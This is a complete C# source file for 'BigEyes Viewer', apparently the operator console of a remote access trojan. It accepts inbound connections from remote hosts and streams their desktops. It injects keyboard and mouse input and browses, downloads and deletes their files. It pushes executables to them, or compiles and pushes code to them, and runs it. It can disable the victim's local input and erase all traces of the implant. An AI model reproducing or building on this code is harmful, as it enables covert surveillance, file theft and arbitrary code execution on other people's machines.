1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
|
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.IO;
namespace BigEyes.Viewer
{
public class ViewerForm : System.Windows.Forms.Form
{
private System.ComponentModel.Container components = null;
private System.Windows.Forms.ListBox listBox1;
private System.Windows.Forms.SaveFileDialog saveFileDialog1;
private string _curDir;
private System.Windows.Forms.OpenFileDialog openFileDialog1;
private System.Windows.Forms.GroupBox groupBox2;
private System.Windows.Forms.CheckBox checkBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.TabControl tabControl1;
private System.Windows.Forms.TabPage tabPage1;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.TabPage tabPage2;
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.CheckBox checkBox2;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.ContextMenu contextMenu1;
private System.Windows.Forms.MenuItem menuItem1;
private System.Windows.Forms.MenuItem menuItem2;
private System.Windows.Forms.GroupBox groupBox3;
private System.Windows.Forms.Button button3;
private Client c;
private TabPage tabPage3;
private Panel panel1;
private Label label2;
private CheckBox checkBox3;
private GroupBox groupBox4;
private ListBox listBox2;
private Button button4;
private CheckBox checkBox4;
private System.Threading.Thread _formsThread;
private string _matrixText;
[STAThread]
public static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.DoEvents();
Application.Run(new ViewerForm());
}
public ViewerForm()
{
InitializeComponent();
_formsThread = System.Threading.Thread.CurrentThread;
this.SetStyle(ControlStyles.UserPaint,true);
this.SetStyle(ControlStyles.AllPaintingInWmPaint,true);
this.SetStyle(ControlStyles.DoubleBuffer,true);
c = new Client(2201);
c.DesktopImage+=new BigEyes.Viewer.Client.DesktopImageArgs(c_DesktopImage);
c.Directory+=new BigEyes.Viewer.Client.DirectoryArgs(c_Directory);
c.File+=new BigEyes.Viewer.Client.FileArgs(c_File);
c.ReceivedConnection += new Client.ReceivedConnectionArgs(c_ReceivedConnection);
c.Error+=new Client.ErrorArgs(c_Error);
c.Start();
}
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ViewerForm));
this.listBox1 = new System.Windows.Forms.ListBox();
this.contextMenu1 = new System.Windows.Forms.ContextMenu();
this.menuItem1 = new System.Windows.Forms.MenuItem();
this.menuItem2 = new System.Windows.Forms.MenuItem();
this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.button1 = new System.Windows.Forms.Button();
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.tabControl1 = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.panel1 = new System.Windows.Forms.Panel();
this.label2 = new System.Windows.Forms.Label();
this.checkBox4 = new System.Windows.Forms.CheckBox();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.tabPage2 = new System.Windows.Forms.TabPage();
this.groupBox3 = new System.Windows.Forms.GroupBox();
this.button3 = new System.Windows.Forms.Button();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.button2 = new System.Windows.Forms.Button();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.tabPage3 = new System.Windows.Forms.TabPage();
this.groupBox4 = new System.Windows.Forms.GroupBox();
this.button4 = new System.Windows.Forms.Button();
this.listBox2 = new System.Windows.Forms.ListBox();
this.groupBox2.SuspendLayout();
this.tabControl1.SuspendLayout();
this.tabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout();
this.tabPage2.SuspendLayout();
this.groupBox3.SuspendLayout();
this.groupBox1.SuspendLayout();
this.groupBox4.SuspendLayout();
this.SuspendLayout();
//
// listBox1
//
this.listBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.listBox1.ContextMenu = this.contextMenu1;
this.listBox1.Location = new System.Drawing.Point(0, 0);
this.listBox1.Name = "listBox1";
this.listBox1.Size = new System.Drawing.Size(544, 459);
this.listBox1.TabIndex = 2;
this.listBox1.DoubleClick += new System.EventHandler(this.listBox1_DoubleClick);
this.listBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox1_MouseDown);
//
// contextMenu1
//
this.contextMenu1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] {
this.menuItem1,
this.menuItem2});
//
// menuItem1
//
this.menuItem1.DefaultItem = true;
this.menuItem1.Index = 0;
this.menuItem1.Text = "&Open";
this.menuItem1.Click += new System.EventHandler(this.listBox1_DoubleClick);
//
// menuItem2
//
this.menuItem2.Index = 1;
this.menuItem2.Text = "&Delete";
this.menuItem2.Click += new System.EventHandler(this.menuItem2_Click);
//
// saveFileDialog1
//
this.saveFileDialog1.Title = "Save File As...";
//
// openFileDialog1
//
this.openFileDialog1.Filter = "Programs|*.exe";
this.openFileDialog1.Title = "Choose Program To Push";
//
// groupBox2
//
this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.groupBox2.Controls.Add(this.button1);
this.groupBox2.Controls.Add(this.checkBox1);
this.groupBox2.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.groupBox2.Location = new System.Drawing.Point(552, 8);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(224, 88);
this.groupBox2.TabIndex = 3;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Push and Run Executable to Current Dir";
//
// button1
//
this.button1.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.button1.Location = new System.Drawing.Point(8, 40);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(208, 40);
this.button1.TabIndex = 1;
this.button1.Text = "Choose and Run Program";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// checkBox1
//
this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.checkBox1.Location = new System.Drawing.Point(8, 16);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(200, 24);
this.checkBox1.TabIndex = 0;
this.checkBox1.Text = "Wait until program exit and delete file";
//
// tabControl1
//
this.tabControl1.Controls.Add(this.tabPage1);
this.tabControl1.Controls.Add(this.tabPage2);
this.tabControl1.Controls.Add(this.tabPage3);
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.tabControl1.Location = new System.Drawing.Point(4, 4);
this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0;
this.tabControl1.Size = new System.Drawing.Size(792, 494);
this.tabControl1.TabIndex = 4;
this.tabControl1.SelectedIndexChanged += new System.EventHandler(this.tabControl1_SelectedIndexChanged);
//
// tabPage1
//
this.tabPage1.Controls.Add(this.pictureBox1);
this.tabPage1.Controls.Add(this.panel1);
this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Size = new System.Drawing.Size(784, 468);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Desktop View";
//
// pictureBox1
//
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(784, 441);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 1;
this.pictureBox1.TabStop = false;
//
// panel1
//
this.panel1.Controls.Add(this.label2);
this.panel1.Controls.Add(this.checkBox4);
this.panel1.Controls.Add(this.checkBox3);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(0, 441);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(784, 27);
this.panel1.TabIndex = 3;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(3, 7);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(126, 13);
this.label2.TabIndex = 1;
this.label2.Text = "Image last updated: N/A.";
//
// checkBox4
//
this.checkBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.checkBox4.AutoSize = true;
this.checkBox4.Checked = true;
this.checkBox4.CheckState = System.Windows.Forms.CheckState.Checked;
this.checkBox4.Location = new System.Drawing.Point(480, 6);
this.checkBox4.Name = "checkBox4";
this.checkBox4.Size = new System.Drawing.Size(110, 17);
this.checkBox4.TabIndex = 0;
this.checkBox4.Text = "Enable local input";
this.checkBox4.UseVisualStyleBackColor = true;
this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged);
//
// checkBox3
//
this.checkBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.checkBox3.AutoSize = true;
this.checkBox3.Location = new System.Drawing.Point(602, 6);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(179, 17);
this.checkBox3.TabIndex = 0;
this.checkBox3.Text = "Send keyboard and mouse input";
this.checkBox3.UseVisualStyleBackColor = true;
//
// tabPage2
//
this.tabPage2.Controls.Add(this.groupBox3);
this.tabPage2.Controls.Add(this.groupBox1);
this.tabPage2.Controls.Add(this.listBox1);
this.tabPage2.Controls.Add(this.groupBox2);
this.tabPage2.Location = new System.Drawing.Point(4, 22);
this.tabPage2.Name = "tabPage2";
this.tabPage2.Size = new System.Drawing.Size(784, 468);
this.tabPage2.TabIndex = 1;
this.tabPage2.Text = "File Functions";
//
// groupBox3
//
this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.groupBox3.Controls.Add(this.button3);
this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.groupBox3.Location = new System.Drawing.Point(552, 104);
this.groupBox3.Name = "groupBox3";
this.groupBox3.Size = new System.Drawing.Size(224, 64);
this.groupBox3.TabIndex = 5;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "Remove Big Eyes From Current Host";
//
// button3
//
this.button3.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.button3.Location = new System.Drawing.Point(8, 16);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(208, 40);
this.button3.TabIndex = 1;
this.button3.Text = "Delete Big Eyes EXE and Close Program";
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// groupBox1
//
this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Right)));
this.groupBox1.Controls.Add(this.textBox1);
this.groupBox1.Controls.Add(this.button2);
this.groupBox1.Controls.Add(this.checkBox2);
this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.groupBox1.Location = new System.Drawing.Point(552, 176);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(224, 288);
this.groupBox1.TabIndex = 4;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Push and Run Code to Current Dir";
//
// textBox1
//
this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.textBox1.Location = new System.Drawing.Point(8, 40);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox1.Size = new System.Drawing.Size(208, 192);
this.textBox1.TabIndex = 2;
this.textBox1.Text = "using System;\r\npublic class PushClass\r\n{\r\npublic static void Main(string[] args)\r" +
"\n{\r\n//Code here...\r\n}\r\n}";
//
// button2
//
this.button2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.button2.Location = new System.Drawing.Point(8, 240);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(208, 40);
this.button2.TabIndex = 1;
this.button2.Text = "Run Code";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// checkBox2
//
this.checkBox2.Checked = true;
this.checkBox2.CheckState = System.Windows.Forms.CheckState.Checked;
this.checkBox2.FlatStyle = System.Windows.Forms.FlatStyle.System;
this.checkBox2.Location = new System.Drawing.Point(8, 16);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(200, 24);
this.checkBox2.TabIndex = 0;
this.checkBox2.Text = "Wait until program exit and delete file";
//
// tabPage3
//
this.tabPage3.BackColor = System.Drawing.Color.Black;
this.tabPage3.Location = new System.Drawing.Point(4, 22);
this.tabPage3.Name = "tabPage3";
this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
this.tabPage3.Size = new System.Drawing.Size(784, 468);
this.tabPage3.TabIndex = 2;
this.tabPage3.Text = "Matrix";
this.tabPage3.Paint += new System.Windows.Forms.PaintEventHandler(this.tabPage3_Paint);
//
// groupBox4
//
this.groupBox4.Controls.Add(this.button4);
this.groupBox4.Controls.Add(this.listBox2);
this.groupBox4.Dock = System.Windows.Forms.DockStyle.Fill;
this.groupBox4.Location = new System.Drawing.Point(4, 4);
this.groupBox4.Name = "groupBox4";
this.groupBox4.Size = new System.Drawing.Size(792, 494);
this.groupBox4.TabIndex = 4;
this.groupBox4.TabStop = false;
this.groupBox4.Text = "Inbound Connection Requests";
//
// button4
//
this.button4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.button4.Enabled = false;
this.button4.Location = new System.Drawing.Point(610, 464);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(176, 24);
this.button4.TabIndex = 1;
this.button4.Text = "&Connect To Selected Server";
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.listBox2_DoubleClick);
//
// listBox2
//
this.listBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.listBox2.DisplayMember = "RemoteEndPoint";
this.listBox2.FormattingEnabled = true;
this.listBox2.Location = new System.Drawing.Point(6, 19);
this.listBox2.Name = "listBox2";
this.listBox2.Size = new System.Drawing.Size(780, 433);
this.listBox2.TabIndex = 0;
this.listBox2.ValueMember = "LocalEndPoint";
this.listBox2.DoubleClick += new System.EventHandler(this.listBox2_DoubleClick);
this.listBox2.SelectedIndexChanged += new System.EventHandler(this.listBox2_SelectedIndexChanged);
this.listBox2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox2_MouseDown);
//
// ViewerForm
//
this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
this.ClientSize = new System.Drawing.Size(800, 502);
this.Controls.Add(this.groupBox4);
this.Controls.Add(this.tabControl1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MinimumSize = new System.Drawing.Size(350, 450);
this.Name = "ViewerForm";
this.Padding = new System.Windows.Forms.Padding(4);
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
this.Text = "BigEyes Viewer";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ViewerForm_FormClosing);
this.groupBox2.ResumeLayout(false);
this.tabControl1.ResumeLayout(false);
this.tabPage1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
this.tabPage2.ResumeLayout(false);
this.groupBox3.ResumeLayout(false);
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
this.groupBox4.ResumeLayout(false);
this.ResumeLayout(false);
}
private void c_DesktopImage(Bitmap image)
{
if (System.Threading.Thread.CurrentThread != _formsThread)
{
this.Invoke(new Client.DesktopImageArgs(c_DesktopImage), image);
return;
}
this.pictureBox1.Image = image;
this.label2.Text = String.Format("Image last updated: {0} {1}.",DateTime.Now.ToShortDateString(),DateTime.Now.ToLongTimeString());
}
private MouseEventArgs scaleMouse(MouseEventArgs e)
{
if(this.pictureBox1.Image==null)
{
return e;
}
return new MouseEventArgs(e.Button,e.Clicks,(int)Math.Round(((double)this.pictureBox1.Image.Width/(double)this.pictureBox1.Width) * (double)e.X,0),(int)Math.Round(((double)this.pictureBox1.Image.Height/(double)this.pictureBox1.Height) * (double)e.Y,0),e.Delta);
}
private void pictureBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
{
if (this.checkBox3.Checked)
{
c.MousePress(true, scaleMouse(e));
}
}
private void pictureBox1_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e)
{
if (this.checkBox3.Checked)
{
c.MousePress(false, scaleMouse(e));
}
}
private void pictureBox1_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e)
{
if (this.checkBox3.Checked)
{
c.MoveMouse(scaleMouse(e));
}
}
private void pictureBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
{
if (this.checkBox3.Checked)
{
c.KeyPress(true, e);
}
}
private void pictureBox1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
if (this.checkBox3.Checked)
{
c.KeyPress(false, e);
}
}
private void listBox1_DoubleClick(object sender, System.EventArgs e)
{
if(listBox1.SelectedItem!=null)
{
this.Enabled = false;
if(listBox1.SelectedItem.ToString()!="..")
{
c.RequestPath(Path.Combine(_curDir,listBox1.SelectedItem.ToString()));
}
else
{
c.RequestPath(Path.GetDirectoryName(_curDir));
}
}
}
private void c_Directory(string[] listing)
{
if (System.Threading.Thread.CurrentThread != _formsThread)
{
this.Invoke(new Client.DirectoryArgs(c_Directory),(object)listing);
return;
}
this.Enabled = true;
if(listing.Length>0 && listing[0].Length>0)
{
this.listBox1.Items.Clear();
_curDir = Path.GetDirectoryName(listing[0]);
if(Path.GetDirectoryName(_curDir)!=null)
{
this.listBox1.Items.Add("..");
}
foreach(string entry in listing)
{
this.listBox1.Items.Add(Path.GetFileName(entry));
}
}
}
private void c_File(string fileName, byte[] fileData)
{
if (System.Threading.Thread.CurrentThread != _formsThread)
{
this.Invoke(new Client.FileArgs(c_File),fileName,fileData);
return;
}
if(fileName!="error")
{
this.saveFileDialog1.FileName = Path.GetFileName(fileName);
if(this.saveFileDialog1.ShowDialog(this)==DialogResult.OK)
{
FileStream fs = new FileStream(this.saveFileDialog1.FileName,FileMode.Create,FileAccess.Write);
fs.Write(fileData,0,fileData.Length);
fs.Close();
}
}
else
{
MessageBox.Show(this,"The selected file cannot be opened, accessed, or found.","Error",MessageBoxButtons.OK,MessageBoxIcon.Asterisk);
}
this.Enabled = true;
}
private void button1_Click(object sender, System.EventArgs e)
{
if(this.openFileDialog1.ShowDialog(this)==DialogResult.OK)
{
FileStream fs = new FileStream(this.openFileDialog1.FileName,FileMode.Open,FileAccess.Read);
byte[] b = new byte[fs.Length];
fs.Read(b,0,b.Length);
fs.Close();
this.Enabled = false;
c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(this.openFileDialog1.FileName)),b,this.checkBox1.Checked);
this.Enabled = true;
}
}
private void c_ReceivedConnection(System.Net.Sockets.Socket connection)
{
if (System.Threading.Thread.CurrentThread != _formsThread)
{
this.Invoke(new Client.ReceivedConnectionArgs(c_ReceivedConnection), new object[] { connection });
return;
}
this.listBox2.Items.Add(connection);
}
private void tabControl1_SelectedIndexChanged(object sender, System.EventArgs e)
{
if (this.Controls.Contains(this.groupBox4))
{
this.tabControl1.SelectedIndex = 0;
return;
}
c.LoadMatrix(this.tabControl1.SelectedIndex == 2);
bool b = !(this.tabControl1.SelectedIndex == 0);
if (c.FileBrowserEnabled != b)
{
c.FileBrowserEnabled = b;
}
b = this.tabControl1.SelectedIndex == 2;
if (b)
{
this.checkBox4.Checked = true;
_matrixText = string.Empty;
}
c.LoadMatrix(b);
}
private void c_Error(Exception e)
{
if (System.Threading.Thread.CurrentThread != _formsThread)
{
this.Invoke(new Client.ErrorArgs(c_Error),e);
return;
}
MessageBox.Show(this, e.Message + "\n\nPress OK to exit.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
//System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);
System.Diagnostics.Process.GetCurrentProcess().Kill();
}
private void menuItem2_Click(object sender, System.EventArgs e)
{
if(listBox1.SelectedItem!=null)
{
this.Enabled = false;
if(listBox1.SelectedItem.ToString()!="..")
{
c.DeletePath(Path.Combine(_curDir,listBox1.SelectedItem.ToString()));
}
else
{
c.DeletePath(Path.GetDirectoryName(_curDir));
}
c.RequestPath(_curDir);
}
}
private void listBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
{
if(e.Button == MouseButtons.Right)
{
listBox1.SelectedIndex = listBox1.IndexFromPoint(e.X,e.Y);
}
}
private void button2_Click(object sender, System.EventArgs e)
{
Microsoft.CSharp.CSharpCodeProvider cs = new Microsoft.CSharp.CSharpCodeProvider();
System.CodeDom.Compiler.CompilerParameters cp = new System.CodeDom.Compiler.CompilerParameters(new string[] {"System.Windows.Forms.dll","System.Xml.dll","System.Drawing.dll","System.Data.dll","System.dll"});
cp.GenerateExecutable = true;
if (this.textBox1.Text.IndexOf("Console.") == -1)
{
cp.CompilerOptions = "/target:winexe";
}
string text = this.textBox1.Text;
if (this.textBox1.Text.Contains("BigEyes."))
{
StreamReader sr = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream("BigEyes.Viewer.BigEyes.cs"));
text+=sr.ReadToEnd();
string[] nameSpaces = { "using System.Runtime.InteropServices;", "using System.Diagnostics;", "using System.Net;", "using System.Drawing;" };
foreach (string nameSpace in nameSpaces)
{
if (!text.Contains(nameSpace))
{
text = nameSpace + text;
}
}
sr.Close();
}
System.CodeDom.Compiler.CompilerResults cr = cs.CreateCompiler().CompileAssemblyFromSource(cp,text);
if(cr.Errors.HasErrors)
{
string errors = string.Empty;
for(int i = 0; i!= cr.Errors.Count;i++)
{
if(!cr.Errors[i].IsWarning)
{
errors += cr.Errors[i].ToString().Substring(cr.Errors[i].ToString().IndexOf(".cs")+3) + "\n";
}
}
MessageBox.Show(this,"The code typed has errors:\n" + errors,"Compiler Error",MessageBoxButtons.OK,MessageBoxIcon.Warning);
return;
}
else
{
FileStream fs = new FileStream(cr.PathToAssembly,FileMode.Open,FileAccess.Read);
byte[] b = new byte[fs.Length];
fs.Read(b,0,b.Length);
fs.Close();
this.Enabled = false;
c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(cr.PathToAssembly)),b,this.checkBox2.Checked);
this.Enabled = true;
File.Delete(cr.PathToAssembly);
}
}
private void button3_Click(object sender, System.EventArgs e)
{
if (MessageBox.Show("Pressing OK will delete all traces of Big Eyes from the currently connected host. You will not be able to connect again after pressing OK.\n\nRemove Big Eyes from host?", "Remove Big Eyes", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning) == DialogResult.OK)
{
c.RemoveBigEyes();
}
}
private void listBox2_SelectedIndexChanged(object sender, EventArgs e)
{
this.button4.Enabled = this.listBox2.SelectedIndex != -1;
}
private void listBox2_DoubleClick(object sender, EventArgs e)
{
if (this.listBox2.SelectedIndex != -1)
{
c.ConnectToHost((System.Net.Sockets.Socket)this.listBox2.SelectedItem);
foreach (System.Net.Sockets.Socket s in this.listBox2.Items)
{
if (s != this.listBox2.SelectedItem)
{
s.Close();
}
}
System.Threading.Thread.Sleep(300);
this.tabControl1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyDown);
this.tabControl1.KeyUp += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyUp);
this.tabControl1.KeyPress += new KeyPressEventHandler(tabControl1_KeyPress);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown);
this.Controls.Remove(this.groupBox4);
}
}
private void tabControl1_KeyPress(object sender, KeyPressEventArgs e)
{
if (this.tabControl1.SelectedIndex == 2)
{
c.MatrixChar(e.KeyChar);
if (e.KeyChar == '\b' && _matrixText.Length > 0)
{
_matrixText = _matrixText.Remove(_matrixText.Length - 1, 1);
}
else if (e.KeyChar == '\r')
{
_matrixText += '\n';
}
else
{
_matrixText += e.KeyChar;
}
this.tabPage3.Invalidate();
}
}
private void listBox2_MouseDown(object sender, MouseEventArgs e)
{
this.listBox2.SelectedIndex = e.Y < (this.listBox2.ItemHeight * this.listBox2.Items.Count) ? (int)(e.Y / this.listBox2.ItemHeight) : -1;
}
private void ViewerForm_FormClosing(object sender, FormClosingEventArgs e)
{
Environment.Exit(0);
}
private void checkBox4_CheckedChanged(object sender, EventArgs e)
{
if (this.tabControl1.SelectedIndex != 2)
{
c.EnableHostControls = checkBox4.Checked;
}
}
private void tabPage3_Paint(object sender, PaintEventArgs e)
{
e.Graphics.DrawString(_matrixText + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height));
}
}
}
|